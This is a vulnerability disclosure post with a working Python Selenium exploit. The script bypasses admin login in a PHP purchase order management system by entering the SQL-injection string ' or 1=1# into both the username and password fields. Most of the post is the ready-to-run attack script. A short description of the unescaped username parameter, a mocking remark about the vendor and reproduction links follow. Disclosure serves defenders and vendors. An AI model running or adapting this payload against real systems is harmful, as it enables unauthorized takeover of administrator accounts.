### Exploit Title: POMS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote
SQL-Injection-Bypass-Authentication.
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 09.09.2021
### Vendor: https://www.sourcecodester.com/user/257130/activity
### Link:
https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html#comment-form
### CVE: CVE-nu11-09

[+] Exploit Source:

#!/usr/bin/python
# Author @nu11secur1ty
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from colorama import init, Fore, Back, Style
init(convert=True)


options = webdriver.ChromeOptions()
options.headless = True
driver = webdriver.Chrome(options=options)

PoC = 'http://localhost/purchase_order/admin/login.php'

driver.get(PoC)

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

# test the exploit username
#username="test"

# test the exploit password
#password="blavsdfdfaaa"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

try:
### 0
username_element = driver.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = driver.find_element_by_name(element_for_password)
password_element.send_keys(password)

time.sleep(1)
driver.execute_script("document.querySelector('[class=\"btn btn-primary
btn-block\"]').click()")

print(Fore.RED + 'The payload for CVE-nu11-09 is deployed and your admin
account is PWNED by SQL - Injection\n')
print(Fore.GREEN + 'Please see the screenshot poc.png to see if your
exploit is working =) BR @nu11secur1ty\n')
print(Style.RESET_ALL)

time.sleep(3)
S = lambda X: driver.execute_script('return
document.body.parentNode.scroll'+X)

driver.set_window_size(S('Width=1024'),S('Height=720')) # May need manual
adjustment
driver.find_element_by_tag_name('body').screenshot('poc.png')

driver.quit()

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


------------------------------------------------------------------

### Description:
The POMS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote
SQL-Injection-Bypass-Authentication for the admin account in app
/purchase_order/classes/Login.php.
remote SQL-Injection-Bypass-Authentication:
https://portswigger.net/support/using-sql-injection-to-bypass-authentication.

The parameter (username) from the login form is not protected correctly and
there is no security and escaping from malicious payloads.
When the user will sending a malicious query or malicious payload to the
MySQL server, he can bypass the login credentials and take control of the
admin account.

-------------------------------------------------------------------
### CONCLUSION: This vendor must STOP creating all these broken projects
and vulnerable software programs, probably he is not a developer!

### BR
- [+] @nu11secur1ty System Administrator - Infrastructure and Penetration
Testing Engineer

-------------------------------------------------------------------
### Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-09
### Proof: https://streamable.com/47kd87
### BR nu11secur1ty

-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>